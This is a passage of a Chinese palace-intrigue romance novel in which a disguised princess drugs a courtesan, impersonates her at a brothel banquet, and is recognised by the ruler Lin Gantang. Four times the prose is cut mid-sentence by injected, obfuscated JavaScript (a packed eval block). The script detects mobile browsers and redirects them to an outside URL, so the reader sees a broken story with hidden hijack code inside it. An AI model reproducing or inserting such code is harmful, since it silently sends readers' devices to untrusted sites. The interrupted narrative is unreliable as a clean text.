步笑安眼瞧着那轿子停在了整条街最耀眼的一处楼宇处，那人抬手掀开帘子，露出个头。只见此人眉目端，乍一看去，长相十分正派。 “哎哟，张公子大驾光临，里边请——”门口的侍女笑靥如花，声音婉转，忙不迭地上前迎接。 步笑安摇摇晃晃装的似是醉的像个不省人事的花花公子，她随着人群向前攒动着。借着这个功夫，她眼观四路，耳听八方，这才把话听了个清楚。 “张公子啊，听您舅舅说过了，今日要宴请什么贵客来着，快着点儿吧，都等您呢。” 她眯着眼看那从轿子中下来人被众多美女簇拥着往里走，心思微动，当下也揽过一美女抱在怀中，“美人儿，你看我可怎么样？今晚上可陪陪爷？” 见来人面容俊秀，一双眼神炯炯有神，勾人的紧。那美人儿脸色微红，一脸娇嗔地望着她，“公子作弄妾身，讨厌。” 步笑安勾起那美人的下颌瞧了瞧，便以一种很巧妙的姿势裹挟着那美人一路跟着那张公子上了二楼，在余光中，她瞥见那一大群人进了一处雅间。 上面写的流芳二字。 步笑安正欲跟上，却听见楼下传来一声尖细的喊唤：“华芝，快些下来伺候贵客，可莫要让人久等了！” 声音带着几分急切，竟是那身穿富贵衣裳的老鸨在招呼。 身侧那女子之间“哎”了一声。 步笑安这才细细将这女子打量了一遍。这华芝姑娘唇红齿白，额间点着精致的花钿，披散的长发柔顺却不显凌乱，端的是美艳动人，眉目间竟与自己有几分相似之处。 只见华芝姑娘手腕微微用力，从步笑安的手中抽出，轻挽着她的衣袖，盈盈一笑歉然道：“公子，妾身改日再陪你如何——今天呀，有位贵客。” 步笑安却是不依不饶，假意生出几分醉态，又用力将华芝往怀里一带，“别走啊美人儿，且说说看，是什么贵客，竟敢坏了我的兴致？” 别说昏君那一套还真的好使，一口一个美人儿叫的是她神清气爽，她顺手端起一旁桌上的酒盏，递到华芝面前，笑得风流倜傥：“来来，喝了这杯。” 华芝听得这般调笑，不由掩唇娇嗔一声：“公子怎么这般霸道。今日这位贵客，可是华芝如何都不敢怠慢的。”说罢便接过酒杯，正想要一杯喝下作势离去。 谁知嘴唇堪堪要碰到那酒水，却被步笑安一把摁下，他微微一笑，“为何。我也家大业大还得罪不起他了？” 华芝自以为她指的是张公子，轻笑着接道：“张公子？呵，他算什么贵客？中州谁不知他不过靠裙带关系混出些名堂，满口胡吹，还不是靠钱财讨好我们。可今日的这位，却是张公子也远远不及的大人物呢。” “哦？”步笑安眉梢微挑，似是故作惊讶，“还有如此厉害之人？” “今日夜坊上下被挑选了一上午，便是为服侍他。这般身份，妾身可得罪不起。” 话毕，她作势要从步笑安怀中挣脱，娇声催促道：“公子，您便别为难妾身了，再晚了，怕是真要惹祸。” 步笑安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660009|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手勾着姑娘的脖子，一手端着酒杯，她微微一笑，“姑娘喝了这杯酒我就放你走如何？” 华芝见状，略一犹豫，终是接过酒盏一饮而尽，才正欲开口：“如此便——” 未曾想，“便”字尚未出口，华芝已然软倒，额轻轻贴在了步笑安的肩头，竟是昏迷过去了。 步笑安低头看了她一眼，唇角微扬。这些许蒙汗药量不至伤人，却足够让华芝安睡几个时辰。 她抱起昏睡的华芝，避开楼下众人的视线，悄然走到二楼一处隐秘的房间，将人妥帖安置。 管他贵客是何人，这些都不重要。 重要的是她和阿箬都需要银子傍身，这种生存还是灭亡的节骨眼上，她自然是不能退缩。 望着沉睡的华芝，步笑安唇角微微勾起一抹笑。 既然她能扮成一个风流倜傥的男子，那么同样作为一个如假包换的女人，她自然是也可以演好一个舞姬。更何况，华芝与她的容貌有几分的相似，只需要稍作装扮，便不难发觉。 刚才华芝的一些小动作，她都已谨记在心，不是兄弟姐妹，恐无人能分辨得出。 步笑安小心谨慎地换下华芝的衣物替换到自己的身上，细致地系上绣带，并取下配饰一一带上。从梳妆盒中取出胭脂水粉，指尖沾了一点胭脂，轻轻抹在唇上，又在额间点上一抹精巧的花钿。 发丝清扬，她挽起几缕青丝，用银钗将之别好，其余长发自然垂下，在铜镜面前左右审视了一番。她带上轻纱遮面，微微一笑。 为华芝盖好被子，她便举步往那流芳的雅间走去，一颦一簇还带着妩媚的风情。 “华芝，你可算来了。”刚入雅间步笑安立马就被人拉走站在一旁服侍，手中还被塞了一个托盘，托盘上有一酒壶和一酒杯。 旁边的女子轻声说：“我跟你说，今天我们这可小心着点儿。你看那个中间坐着的是谁？中州县令！你看中州县令都在毕恭毕敬的，这人可得是多大的身份。还有那张公子，你那次看到他来给人作陪。” 步笑安斜眼觑她，看着那姑娘唇舌未动，竟是个跟她一样会腹语的。 一进来就被一顿输出，她今天可是来要钱的，找的就是张公子，其他人，可跟她没有关系。 “我知道了。”她以同样的方式回答，同时抬头看着前方，正欲瞧瞧那张公子究竟坐在哪里。 这一看，好家伙，张公子没有看见，到见到了一位情理之外意料之中的人。 那一群莺莺燕燕之间，正与众人觥筹交错、谈笑风生之人，好巧不巧，她认识。 此时，那人身着华贵长袍，衣襟处点缀着金线刺绣的纹饰，面上含笑。手中正执着酒杯和那县令打扮的人推杯换盏。 这番模样，倒是她从不认识过的一面。 步笑安用余光打量着，正当时，中州县令突然一声召唤，“美人儿，上酒，上好酒！” 闻言，她低头瞥了一眼手中的托盘。 19. 醉酒 被坑了。 步笑安目光微敛，余光扫过四周，只见一众美人儿微微退后半步，显然无人愿意为这场宴席当那出头鸟。她心下暗叹，原来这华芝姑娘竟是被推出来顶了这场差事。 此事若是好事自当是上赶着去挣破头颅争这个露脸的位置。可是为什么？居然没有一个人有这种想法。那这事儿已经是一个费力不讨好的事情。 华芝姑娘，被当枪使了！ 不过，这等场面岂能难倒她步笑安？她稍稍调转步伐，踩着妖娆的脚步，衣裙轻摆，举步向主座那二人迈过去。 此刻在主座那二人正流连花丛，眼神间流露出涓涓醉意。那花丛中可真满是名贵花朵，一个一个堪比绝色倾城。 美人入怀，温香软玉在侧，县令满面红光，举杯笑道：“有佳人相伴，真乃人生快意。” 步笑安低垂眼睑，嘴角噙着一丝得体的浅笑，步伐轻缓地接近主座，轻声道：“大人，酒。” 这时，站在县令一侧的妇人微微一笑，眼神示意，旋即拿起酒杯递向主座那身着黑金绣袍的人，道：“二位大人，这可是我们夜坊数一数二的头牌，华芝姑娘亲自前来为您献酒。华芝姑娘的舞姬实在是中州城一绝，可让她为贵客跳一支舞？” 县令一边拎起自己的酒杯，一边哈哈笑道：“跳，尽管跳！今日得大人光临，小地真是蓬荜生辉。还请大人莫要拘束，尽情取乐才是。” “哦？是什么样的绝色美人，这我得仔细瞧瞧。”声音沉稳而深刻，一双醉眼微眯，就这么直直射入步笑安的眼中。 她心里突然咯噔一声。 步笑安轻纱拂面，瞧着蔺甘棠斜躺在软塌之上，便心想：此人被县令认出，如此行径倒是理所当然。只不过她今日乔装打扮，难以让人认出。只想着到时候不要碍她的事就好。 蔺甘棠袖子一甩，缓缓伸出酒杯，一派懒倦的样子十分勾人。 步笑安手中酒壶微微倾斜，酒液如细线般慢慢流进那人的手指间的杯盏中。然而就在这时，杯盏微不可察地一颤，轻轻晃动，酒液未能尽入杯中，几滴晶莹剔透的液珠滑落，滴答滴答地落在那修长的手指间。 她眼角的余光扫过那微动的杯盏，稍稍调整手腕，将酒壶倾斜的角度调得更低，仿佛刚才的意外没有发生。 那一瞬间的僵硬被她掩饰得恰到好处，脸上依旧挂着浅浅的笑意。 他是故意的吗？ 虽然心中已有揣测，但她此时并没有表露出来。 “大胆——！好一个舞姬，倒个酒竟然还能出岔子。”主座上传来县令含怒的呵斥声。 步笑安垂首而立，酒壶稳稳地停在掌中。一杯酒已然满了七八分，她收起手腕，微微冲那县令一躬身，“是妾身失礼，坏了大人雅兴，还请恕罪。” 她微微抬眸，眼瞧着县令直起身子，向蔺甘棠抱拳，横眉怒目地看着她，“你跟我说不着，你跟这位说去。” 突然被叫到，蔺甘棠的眸子中透着些许醉意，摄人心魄的紧。 他又垂眸看了看手腕上的酒滴，“多大点事儿，县令大人不要少见多怪了。” 那县令貌似是拍马屁拍到了驴蹄子上，以讪笑告终，转身白了步笑安一眼。 “你叫华芝——？”蔺甘棠靠着软塌半醉半醒地说。 软纱拂面，步笑安露出一双水灵灵的大眼睛在外面，她点了点头，道：“正是。” 她正要揣测蔺甘棠究竟要作何事情之时，岂料他又一抖袖子，长臂一身，竟将她轻轻一带，拉到了身上。 步笑安还未来得及反应，便觉一股淡淡的香气直冲鼻腔，还伴着丝丝的酒香。他的力道不重，却也足够将她控制在身侧，让她不得起身。 “倒个酒也能失手，真是有趣得紧。”蔺甘棠微微一笑，目光悠悠然落在她身上，眸光一紧。 步笑安窝在他的胸膛中动弹不得，手掌就抵在他的胸前，她知道此刻置身众目睽睽之下，稍有不慎便会招来更多疑窦，便就着这姿势，羞涩地回道：“大人所说有理，都是妾身的错，还望大人宽宥。” “宽宥？”蔺甘棠像是听到了什么有意思的话，低头看着她的眸子，又低低一笑。 就在步笑安思忖对策之际，他忽然俯下身，靠近她的耳畔，在众人眼里活像是亲吻了她的耳畔，“殿下会有何错？看来殿下与在下甚是有缘，竟然不到一天时间又见面了。” 步笑安眼中眸光一闪，果然他发现了，可是到底是何处露出了破绽？心思急转，却不动声色，脸上的羞涩之意半分未减。 周遭众人见此情景，纷纷露出了复杂的神情。原本以为不过是个粗手笨脚的舞姬，却不想她竟然得宠了。将一个错误之举化为邀宠的手段，这样的场面在这夜坊之中，简直是前所未见。 县令也是丈二和尚摸不着头脑，只是瞪大了眼睛，酒杯里的就都溢出来了本人也无所觉察。 连面容都没看到，就这么把人勾走了？美人计如此省事？ “美人儿——跟我走可好？”蔺甘棠一副被美人儿迷住的样子，抬起手轻轻勾着步笑安的脖子。 呼吸均匀地掠过步笑安的脖颈处，引得她一阵酥痒，脊背微微绷直，她眼神微眯在盘算着之后如何开口拒绝。 步笑安刚要出口，旁边站着的妇人却抢先出了声，“可以，自然是可以的！” 这妇人头戴芍药，玉簪微晃，身上的华丽衣饰昭示着她在夜坊中颇具威望。此刻她满脸堆笑，双手叠在腹前，语气殷勤得紧，“这可是我们夜坊的福气，华芝姑娘能陪大人共度良宵，实乃我夜坊的荣幸。” “只是这价钱——” 蔺甘棠瞥了一眼县令，端起酒亲自递到了步笑安的手中，他微微一笑，“好商量。” 步笑安接过酒杯，低头盯着也不言语，趁着注意力都在县令的工夫上，转身看似喝掉了酒水实则是泼在了地毯上。 那县令闻言爽朗地朗声道：“我包了！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673897|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好，好！”蔺甘棠扬声一笑，站起身来，将步笑安搂得更近几分。 那妇人见状，连忙命人取来披风，亲自为蔺甘棠披上，笑盈盈地说道：“大人，华芝姑娘就拜托您照顾了。” 步笑安面色微红，好似挂在了蔺甘棠的身上，在起身的片刻低声细语，道：“要二楼尽头那间屋子。” 蔺甘棠又将步笑安地身子往里带了一带，活像是一个登徒浪子。 “你说什么？怎么，美人儿，这么会儿功夫就等不及了？” 蔺甘棠话音一落，四周顿时爆发出一阵哄堂大笑，满堂戏谑之声像是水波般漾开。饶是步笑安是见过大风大浪的，此刻也是面颊飞霞，烧红了脸，拳头不由分说地朝他胸膛锤了下去。 蔺甘棠闷哼一声，竟似吃痛一般，声音隐约透着几分无奈。 步笑安动作微顿，眸中流露出些许诧异。一个习武之人，竟然被她这一拳弄得如此反应？分明是装腔作势。 他这一声闷哼可是恼在了步笑安的心里。 “哈哈哈，大人，这便是英雄难过美人关啊！” “别打扰大人干正事儿了哈哈哈，都散了散了。”众人哄笑出声。 就在这喧闹之际，步笑安忽然感到身子一轻，脚下已然离地。她回神的瞬间，已被蔺甘棠打横抱起。 “你——！”她刚要挣扎，却见蔺甘棠低眉含笑，右手垫住她的后脑勺，轻声说道：“莫动。” 他一袭黑衣锦袍当即昂首阔步，抱着她径直迈出流芳雅间。 步笑安闭上眼，长长吐出一口气。看来，今日调查张公子的计划只怕又得搁浅了。她微微勾住蔺甘棠的脖子，心中暗暗思量：这人究竟是认出了她，还是单纯存心戏弄？为何事事都要与她作对不成？ 她耳听得周遭声响渐渐远去，最后只剩下蔺甘棠稳健的脚步声。 “殿下怎得空来瞧孤？”见周遭无人蔺甘棠当下便谈起了正事。 “说来话长，前面那个屋子进去，别让别人进来。”步笑安在他怀中不断地指挥着。 “这一间？”蔺甘棠走到二楼尽头停了停，低头看她。 步笑安在他怀里翻了个身，借着他袖间缝隙瞄了一眼，看见门口写着芍药二字，便知华芝姑娘就在此处。 她点点头，调整了个姿势，用力推开了门。 蔺甘棠在房间前放了个请勿打扰的记号，就踏入了房间，脚尖一勾，门在身后兀自关上。 总算是抛开了无关众人，步笑安舒了口气，这才仰头重新对上他有些包含深意的眼眸。 步笑安放开勾在他脖子上的手，仰着头淡淡说：“放我下来吧。” 她依旧好端端地窝在蔺甘棠的怀抱中，只要蔺甘棠一低头，就可以数清楚她的睫毛数。 那个熟悉的泪痣还好端端地挂在眼睑附近。微风拂过她的轻纱，他就差一毫一厘就能看到她原本的容貌。 他此时是真的不想放手，“孤不想放手。” 20. 义母 不知道他又是哪根弦儿不对，竟能说出这等混账话来。 搂住她背后的手臂微微一收，力道不重，步笑安却感觉背后一阵酥麻，她深深吸了口气。指尖顺势抵上他的胸膛，用力将他微微推开，沉声道：“放手。” 蔺甘棠低下头目光锁定在她的身上，嘴角噙着一抹笑。乌黑的发丝随风微微晃动，发尖不经意间扫过覆在她脸侧的轻纱，撩得她隐隐发痒。 “不放。”他低低道。 尽管隔着轻纱，步笑安仍觉得那细微触感惹得她头皮发麻。她一时竟生出一种荒唐的念头：若就这么任他抱着，倒要看看这人还能做出怎样荒唐之事。 她的手从他的胸膛缓缓收回，反而拨开他碍事的袖子轻轻一勾，手臂重新环上他的脖子，挑衅地冲他挑了挑眉。 蔺甘棠从她的眼神中读出了她的言下之意：不放也好，我看看你能坚持到何时。 他心中一阵好笑过后又涌上一阵无奈。如她这般骄傲的女子，何至于以身犯险至此？ 蔺甘棠低头望着怀中身姿婀娜的步笑安，心中忽而涌起一种复杂的情绪。他原本只想吓唬她一番，借此点醒她，岂料却将自己也绕了进去，心头微微一沉。 他本欲委婉提醒她，这等事情交由神弓卫来处理便可，何苦亲力亲为？她可知，自己如此行事，是何等冒险？ 更遑论这场合中，多是些心怀鬼胎的下流之辈。若非今日遇上了他，若非她的伪装未被识破……他不敢深想。 “殿下。”蔺甘棠垂眸，低着头语气中带了无奈，“不要总是以身犯险，在旁的地界，终究双拳难敌四手。” 短短一句话，步笑安便察觉到他语气中的不快。她稍稍调整了一下姿势，依旧靠在他的怀中，轻言道：“你莫不是太小瞧我了。” 一丝郁闷爬上蔺甘棠的心头，他脚步开始挪动，“甘棠怎会小瞧殿下。” 步笑安正微微挑眉看他，忽觉一阵晃动，未及细想，便已被蔺甘棠抱着稳稳放置在了一旁的床榻上。 她微微活动了下微微发麻的双腿，抬头，方寸之间的距离，她能感受到他局促的呼吸声，可他面儿上却滴水不漏。 他在这个时候，依旧是原来的样子，步笑安不禁心中感叹。 记得儿时，她胆子极小，不仅怕黑，连电闪雷鸣也让她害怕得紧。每逢雨夜，轰隆隆的雷声划破天际，她都会将自己紧紧裹在被子里，缩成小小一团，一宿一宿难以入眠。 直到他成为了她的暗卫，那种感觉才被改变。 夜间寝殿内的轻纱帷帐轻垂，她透过薄薄的纱幔，看到不远处他的身影，只是那样静静地站在那里，她就觉得安心。 偶尔她也会淘气让他坐在她的床前陪伴着她入睡，没办法拒绝的蔺甘棠总会冒着违规的风险陪着她，哪怕当时总会被父王罚跑出个二里地。 那时，他也总会在她身旁露出这样的神情。 步笑安忍不住轻笑出声，松开环在他脖颈上的手后，指尖一路滑下，微微用力挠了挠他脖颈处的痒痒肉。 坏了她的事情不说，她还治不了他？ 从前每逢她闹着挠他痒，总是被他三言两语制止，果不其然，蔺甘棠身子微微一抖，手掌迅疾一挥，精准地扣住了她的手腕，将她的动作压制在半空中。 “别闹。”他眉头轻蹙，他低声斥道。一双清凌凌的眸子中透着些许恼意。 步笑安收了手，淡淡道：“还不起来？在这里赖着不成？” 轻纱早已在两人纠缠时滑落了一半，露出她嫣红的唇瓣一张一合。 室内的光线忽明忽暗，铜镜中的红烛堪堪熄灭，步笑安轻衫在身露出婀娜身材若隐若现。 蔺甘棠盯着她，眸中神色隐晦，血气却止不住地往上涌。他终是闭了闭眼，撒开双手，直起了身子，踉跄了一下。 倒是难得看他类似这样狼狈的样子。步笑安在床榻上滚了一圈儿，微微撑起身子，单手扶在脑后，眯着眼半仰着头看他。 然后，她笑出了声。 蔺甘棠的衣衫因为抱着她走了一路有些褶皱，他背对着她系好衣衫，一边整理着领子一边侧立着觑她。 窗户没关紧，冷风顺着缝隙就钻了进来。步笑安提着衣衫打了个冷战。她迅速从床榻上弹起，路过了他的身边。 “正事儿快忘了。”她淡淡道。 蔺甘棠微微一怔，目光随着她的动作转向屋内的衣柜。那柜子外表陈旧，几乎与寻常人家的毫无两样，乍看之下毫不起眼。 步笑安走上前去，手指轻搭在柜门上，唰的一声，直接将那木柜的门掀开。 蔺甘棠眉头微挑，还未来得及细看，柜中竟有一道身影倒了下来。 她快速上前，身形一侧，灵巧地接住那倒下的身影，似乎早已料到会有这一出。 “这是——”蔺甘棠轻问出声。 步笑安回头答道：“自然是华芝姑娘。” 华芝姑娘被她打晕换上了步笑安的衣服，被她藏在了这间房间的衣柜。 何其大胆！ 如若进来的人不是他蔺甘棠，如若这个屋子里进来了旁人恰巧也打开了衣柜。 蔺甘棠心中倒抽了一口冷气，有的时候他真的想钻进殿下脑子里瞧瞧，看看她这些大胆的想法到底是从何处来的。 他当即走到窗前瞧了瞧，见四周没有人在注视在此地，便伸手将窗户放下。 “这回你想怎么办。”他又走到门前，在门环上插上一根玉杖，以防被人破门而进。虽然说没人敢如此行事，但保险起见还是谨慎为好。 “自然是该怎么办怎么办。”步笑安瞥他一眼，“正巧这张公子接手了永世钱庄，正愁没处要银子呢，你可别给我捣乱。” 趁此机会，她不忘敲打敲打蔺甘棠，他本就已经坏了她的事，为避免以后继续作怪，说清楚了为好。 蔺甘棠闻言有些疑惑，“永世钱庄的掌柜是他？” 看到他略有疑惑，步笑安略微惊讶了一下，“还有王不知道的事情？我以为王都知道了。” 听见这略带深意的称呼，他眨了眨那双凤眼，“殿下请赐教。” 她低下头探了探那华芝姑娘的呼吸，见呼吸均匀并无大碍，她放下心，“此事说来话长——” 她将今日所见之事悉数说出，在谈到中州民宅和钱庄相通之后他也是微微讶异了一下。 蔺甘棠想那永世钱庄也是铜墙铁壁，怎么那么容易就被一个女子渗透？思及此，他想都不想就冲那驴蹄子上一脚踢过去，“那殿下是如何潜进去的呢？” 步笑安顿了顿，着实进府进的不太光彩，她略一思索觉得不行，这件事情绝对不能让他知道，当即含糊过去，“我机智呗。” 糊弄的很明显，蔺甘棠似笑非笑地看着她。 “那我也有一事想要告诉殿下。”他调转状态，做派稍显正经，拎起把椅子放在跟前坐下。 “这张公子，是王都兆远侯的侄子。”他轻敲椅背。 此言一出，步笑安一愣，手上的动作微微一滞，蹲在地上的她像是被针刺了一下般猛地抬起头，清秀的小脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694637|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写满了惊讶，“你是说，暗中架空永世钱庄的人……是兆远侯？” 她的声音略微低沉，带着一丝试探。 蔺甘棠摇摇头，淡淡道：“只是猜测而已。” 步笑安脑子中飞速转动，如果要是兆远侯在背后策划，那事情就不仅仅是要回钱那么简单了，所有事情都要从长计议。 她低声喃喃自语：“他们要一个空壳子钱庄作甚？还是说在拿掉原掌柜之前就已经盘算好了替换计划？可是……为什么？” 一连串的问题如同乱麻般在她心头纠缠，让她一时间无法理清头绪。 “咳，咳咳咳——” 就在此时，躺在地上的华芝突然轻咳了两声，眉头微微一皱，步笑安算算时辰，显然迷药即将失效。 步笑安回过神来眼神暗示蔺甘棠躲入阴影中后，迅速将人扶起，她一把捂住华芝的嘴，低声说道：“华芝姑娘，放轻松，我不是坏人。只要你配合是不会伤害你的。” 华芝半眯着眼睛，神情迷茫，发出含糊不清的呜咽声，手脚因还软着也无法挣扎。 不论如何，华芝这姑娘是不能放回去的。放回去太过于容易打草惊蛇，况且当下她有一个计划。 华芝姑娘曾经说过张公子此人流连花丛，凭着什么关系，喜欢欺负弱女子，可是话里话外就连她却也瞧不上眼。按道理来说一个要家世有家世的纨绔公子，恨不得扬言让所有人都认识他，怎么会被人如此唾弃？ 在明面上不提兆远侯有三个原因，一个是二者关系不好，二是此人城府极深。 步笑安偏向于后者。 她低声道：“华芝姑娘，我知夜坊的姑娘多无亲无故，身不由己，被迫卖艺求生。我可助你脱离此处，但需得你鼎力相助。可愿意？” 华芝姑娘眼睛里透着泪水，目光还有些迷离，听着步笑安的话，似是愣了一瞬，沉默半晌了微微点了点头。 步笑安微微松开了手，语气柔缓了几分：“如此甚好，来。你将那张公子之事，细细说与我听。” 华芝姑娘微微转过头，看见与她别无二致的脸有些惊讶。 “你——” 步笑安轻笑一声，眼波流转，微微挑眉，“如何？与姑娘无异，不是吗？” 华芝回过神来，敛下神情，朝她轻轻一揖，语气中透着几分敬佩，“姑娘巧妙，华芝当真佩服。” 步笑安摆了摆手，示意她继续说下去。 华芝低下头，轻声道：“我夜坊姑娘们都有着同一个义母，姑娘所说张公子乃是我们义母之子，凭着这层关系每周必来夜坊寻我与阿菊作陪，算算日子，再过两日傍晚，他便会再来寻我。” 夜坊的主人，姑娘们的义母？ 他是兆远侯的侄子，又是夜坊义母的儿子？ 这关系着实是有些绕。 华芝眸中含泪，对着步笑安就是五叩首。 “求姑娘救华芝与水火，每次张公子来坊我们伺候不好都会得到义母的惩罚。这种日子我确实是受够了，若姑娘能救我于水火，大恩大德来日再报。” 华芝姑娘言辞恳切，甚至没有追究她被迷倒的事情，好像那是多么不起眼的事情一般。 步笑安心想，不论怎么样，这夜坊和钱庄以及兆远侯之间都有着千丝万缕的关系。 她弯腰扶起她，“跟我走，后日我来。” 就在这时，蔺甘棠从床榻后的阴影后悄然出现，他当机立断一个手刀就砍在华芝的后颈上，姑娘再次被打晕在地。 “孤不准你以身犯险。” 21. 华芝 步笑安被气笑了。 她仰头望着蔺甘棠，见他一副毋庸置疑的模样，“我不只是为了银子，你知道的吧。” 华芝姑娘刚刚醒来还没有喘匀了气儿，这下子又被这位仁兄给了一手刀，没有一天的工夫，她是断断醒不来的。 步笑安的计划还没开始就被人扯住了，而罪魁祸首很明显就是眼前这个人。 蔺甘棠蹲下身子停在她的面前，露出那张好看又带着些许担忧的脸庞，说道：“殿下，你是又打算扮作旁人深入虎穴。” 步笑安一脸默然地看他，俨然一副“不然呢”的样子。 蔺甘棠看着她缓缓将华芝姑娘抱起放到床榻上，道：“其实孤有个想法。殿下其实可以靠一靠孤的。” 靠他？步笑安斜眼看他。 她选择拒绝。 步笑安在心中腹诽，这位仁兄办事的荒唐手段，她不是没有见识过。就凭他能扮作戏子设局这一点，她就不想靠他一点，到时候再把她自己坑进去，可就得不偿失了。 她一副讳莫如深的模样，蔺甘棠突然想到他之前好像坑了她一坑，微笑着干咳了几下，道：“殿下是否还是为之前的事情对甘棠有许多猜忌？” 才想起来？步笑安觑他。 蔺甘棠敛了敛发丝，“那日的确是想给殿下一个惊喜来着，没有想到御史反水事发突然，还请殿下宽恕则个。” 眉毛微微挑起，步笑安思考了下，回想起来惊喜倒是没有，惊吓居多，再一个就是那出狸猫换太子倒是唱的不错，有点儿功底。 不过，他到底这几年在宫里都学了些什么啊。 步笑安坐在床榻旁，轻轻扶额，淡淡道：“后日无论如何我都是会代替华芝姑娘的，如此情形断不可让她继续见张公子，免得露出什么破绽。” 蔺甘棠点点头，不过却不像是认同的模样，他活动活动肩膀，“如果是此事，孤倒是有个主意。” 方案总是不嫌多的，是骡子是马还是得放出来遛一遛。 “但说无妨。”步笑安下颌微扬，示意他继续说。 这下子他倒是不着急了，站起身子在屋里踱步，走到桌前重新点燃了屋内的烛火。光影翩然跳跃，二人的影子骤然映在一起。 蔺甘棠的目光从那影子上转移到本尊身上，道：“让华芝姑娘跟我走。” 她听见了什么？ 这是跟她抢美人的意思，步笑安心中微忖，“王这是看上华芝姑娘了？” 闻言，围着桌子踱步的蔺甘棠脚下一个踉跄，而后扶住了桌角，声音低沉，“殿下，我后宫如今空无一人。殿下可知为何？” 这个问题来的有些蹊跷，他难道不是心里比任何人都清楚嘛，原因自然是多种因素导致的。 其一，有客观生理性的因素导致如此。其二，有主观性的因素导致如此。 中晟太医的手段可是数一数二的，尤其是在龙嗣这种事情上断不会轻视。所以客观生理性因素暂且可以排除。 那么就是主观性的因素，其中她又冒出了两种想法。第一种，对女人不感兴趣。第二种，女人对他不感兴趣。 后一种想法几乎可以排除，想他的容貌可得一群京中女眷盛赞，虽说荒唐了些，必定是有不少高门贵女等着嫁入王宫。 步笑安微微皱眉，“你对女人不感兴趣？” 突然间空气里弥漫着一种很不可解的沉默，这回轮到了蔺甘棠皱着眉觑她。 看来不对。 那么除此以外，步笑安还想到一种解释。那就是出于某种其他的原因，他，刻意让自己的后宫空着。 也许是为了不被他人掣肘？ 桌子感觉快被蔺甘棠掀了，步笑安识相地一摆手，摇摇头道：“行，我不猜了。” 手指尖轻敲着桌子，蔺甘棠眼神暗了暗。 他顿了顿又继续道：“明日，我接走华芝姑娘。张公子不敢有其他说法。” 他这是——按照这种思路—— 步笑安顺着他的思路往下接去，“所以，明日你带华芝姑娘走，我可以伺机从这里离开。从此后，华芝姑娘不再会出现在整个中州。此计听来可行。” 她又一顿，“但可是之后呢？如何调查张公子背后之人？” 蔺甘棠一脸高深莫测，道：“这个好说，只要殿下之后扮作华芝姑娘留在孤的身边。” 步笑安心中略有猜测，如果他和她想到一处去了，那么这一计的可行性将大大增加。 不过他真能从此后抛掉自己人在花丛过，片叶不沾身的一世英名？ 感觉他的清白之身被她玷污了。 “好。” 步笑安似笑非笑，她从床榻上站起身，悠然地推开了窗，见月亮高高悬挂于空中。 今日夜色正好，外面飘着桂花的香气，侵入鼻间，好闻得紧。她独爱桂花香，一直以来用的帕子也多浸了桂花的香气。 蔺甘棠缓缓走到她身后，负手而立，仰头也望着月亮，“今夜委屈殿下了。” 步笑安心道小事一桩，未曾回头，“小事，再者说要委屈也是委屈华芝姑娘了。” 红烛轻颤，二人的影子再次交叠在一起。 蔺甘棠转头刚好看到这一幕，他眼眸渐深，微微往旁稍了稍。 影子瞬间从重叠变成了并肩而立。 “夜深了，殿下该就寝了。”他轻轻开口。 那一瞬间，她有些恍惚，这短短一句话仿佛将她拉回了很久之前的夜晚。 但也只是一瞬间，她就又回过神，“嗯”了一声。 夜幕寂静，红烛渐熄。 漆黑的夜里，步笑安躺在榻上翻了个身，遥遥看去一个身影坐在桌前手拄着脑袋。 毫无由来的安心感油然而生，如此身影换来一夜好梦，直到第二天清晨。 “咚咚咚——” 一阵敲门声从屋外响起，步笑安瞬间睁开眼睛。 在她睁开眼睛的同时，坐在桌前的蔺甘棠也同时转过头，与她双目相对。 二人默契点头，步笑安探了探身边的华芝姑娘还没有醒来的迹象，随后一个翻腾便滚入了床底。 床底逼仄，灰尘众多，步笑安一不留神打了个喷嚏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721355|156707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小心。”蔺甘棠出声道。 腾出空，步笑安伸出一条手摆了摆。 蔺甘棠读出了这个意思，指的是不碍事，他摇摇头。 